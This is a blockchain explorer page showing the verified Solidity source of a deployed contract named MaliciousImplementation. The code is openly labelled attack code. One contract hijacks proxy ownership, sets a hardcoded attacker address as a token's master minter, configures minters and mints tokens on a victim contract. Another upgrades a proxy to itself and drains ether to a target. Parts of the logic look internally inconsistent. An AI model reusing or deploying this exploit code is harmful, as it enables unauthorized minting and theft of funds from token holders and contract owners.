Contract

0x4849A475631D1697a4393a4858CC4D4f84D0c89A

Source Code

Overview

ETH Balance

0 ETH

More Info

ContractCreator

0x471aABd3...F587FB940 at txn 0x3859d8207a4f6c4a35c5b828748471251b3cc3a5d9c4b5856845e9b0504476cf

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Contract Source Code Verified (Exact Match)

Contract Name:

MaliciousImplementation

Compiler Version

v0.8.28+commit.7893614a

Optimization Enabled:

No with 200 runs

Other Settings:

default evmVersion, MIT license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2024-11-29
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

// Proxy contract for upgradeability
contract UpgradeableProxy {
    address public implementation;
    address public owner;

    event Upgraded(address indexed newImplementation);
    event CallResult(bool success, bytes result);

    constructor(address _implementation) {
        implementation = _implementation;
        owner = msg.sender;
    }

    fallback() external payable {
        (bool success, bytes memory result) = implementation.delegatecall(msg.data);
        require(success, "Delegatecall failed");
        emit CallResult(success, result);
    }

    receive() external payable {
        if (msg.value > 0 && msg.sender != owner) {
            require(address(this).balance >= msg.value, "Insufficient balance");
            upgradeTo(implementation); // Upgrade using current implementation as the placeholder
        }
    }

    function upgradeTo(address _implementation) public {
        require(msg.sender == owner, "Not authorized");
        implementation = _implementation;
        emit Upgraded(_implementation);
    }
}

// Malicious implementation contract
contract MaliciousImplementation {
    address public proxyOwner;
    address public maliciousTarget;

    constructor(address _proxyOwner, address _maliciousTarget) {
        proxyOwner = _proxyOwner;
        maliciousTarget = _maliciousTarget;
    }

    // Hijack ownership of the proxy contract
    function takeOwnership() external {
        require(msg.sender == maliciousTarget, "Not authorized");
        proxyOwner = maliciousTarget;
    }

    // Function to set the masterMinter to the attacker's address (dynamically set)
    function setMasterMinter() external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Dynamically set the masterMinter to the attacker's address (hardcoded here)
        address attackerAddress = 0x471aABd39E9aFa5F4798FC04be77C1cF587FB940;
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("updateMasterMinter(address)", attackerAddress)
        );
        require(success, "setMasterMinter failed");
    }

    // Function to configure the attacker as a minter
    function configureMinter(address _minter, uint256 _allowedAmount) external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Call the victim contract's configureMinter function
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("configureMinter(address,uint256)", _minter, _allowedAmount)
        );
        require(success, "configureMinter failed");
    }

    // Mint tokens to the attacker's address
    function mint(address _to, uint256 _amount) external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Call the victim contract's mint function
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("mint(address,uint256)", _to, _amount)
        );
        require(success, "Mint failed");
    }

    fallback() external payable {}

    receive() external payable {
        if (msg.value > 0 && msg.sender != proxyOwner) {
            address payable target = payable(maliciousTarget);
            uint256 balance = address(this).balance;
            if (balance > 0) {
                target.transfer(balance); // Drain all funds to the malicious target
            }
        }
    }
}

// Exploit contract to interact with the vulnerable upgradeToAndCall functionality
contract UpgradeToAndCallTester {
    address public owner;
    address public maliciousTarget;

    event FallbackCalled(address indexed caller, bytes data);
    event CallResult(bool success, bytes result);

    constructor(address _maliciousTarget) {
        owner = msg.sender;
        maliciousTarget = _maliciousTarget;
    }

    function destroy() external {
        require(msg.sender == owner, "Not authorized");
        selfdestruct(payable(msg.sender));
    }

    fallback() external payable {
        emit FallbackCalled(msg.sender, msg.data);
    }

    receive() external payable {
        if (msg.value > 0 && msg.sender != owner) {
            drainFunds(payable(maliciousTarget)); // Transfer Ether to malicious target
        }
    }

    function complexOperation(uint256 recursiveDepth) external payable {
        require(msg.sender == owner, "Not authorized");
        require(recursiveDepth > 0, "Depth must be greater than zero");

        upgradeProxyToMalicious();
        drainFunds(payable(maliciousTarget));
        recursiveExploit(recursiveDepth);
    }

    function upgradeProxyToMalicious() internal {
        (bool success, ) = address(this).call(
            abi.encodeWithSignature("upgradeTo(address)", address(this))
        );
        require(success, "Upgrade to malicious contract failed");
        emit CallResult(success, "");
    }

    function drainFunds(address payable _to) internal {
        uint256 balance = address(this).balance;
        require(balance > 0, "No funds to drain");
        (bool success, ) = _to.call{value: balance}("");
        require(success, "Fund transfer failed");
        emit CallResult(success, "");
    }

    function recursiveExploit(uint256 depth) internal {
        if (depth == 0) return;
        (bool success, ) = address(this).delegatecall(
            abi.encodeWithSignature("recursiveExploit(uint256)", depth - 1)
        );
        require(success, "Recursive call failed");
    }
}

Contract ABI

[{"inputs":[{"internalType":"address","name":"_proxyOwner","type":"address"},{"internalType":"address","name":"_maliciousTarget","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"_minter","type":"address"},{"internalType":"uint256","name":"_allowedAmount","type":"uint256"}],"name":"configureMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maliciousTarget","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"proxyOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMasterMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"takeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

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Deployed Bytecode

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Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5

-----Decoded View---------------
Arg [0] : _proxyOwner (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5
Arg [1] : _maliciousTarget (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
Arg [1] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5

Deployed Bytecode Sourcemap

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Swarm Source

ipfs://fdd47ce7396bc477d4a11ba2cdf4a3fce05172459819720b2631c44109577e8d

Block		Transaction	Difficulty	Gas Used	Reward

View All Blocks Produced

Block		Uncle Number	Difficulty	Gas Used	Reward

View All Uncles

Validator Index	Block		Amount

View All Withdrawals

Transaction Hash	Block		Value	Eth2 PubKey	Valid

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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.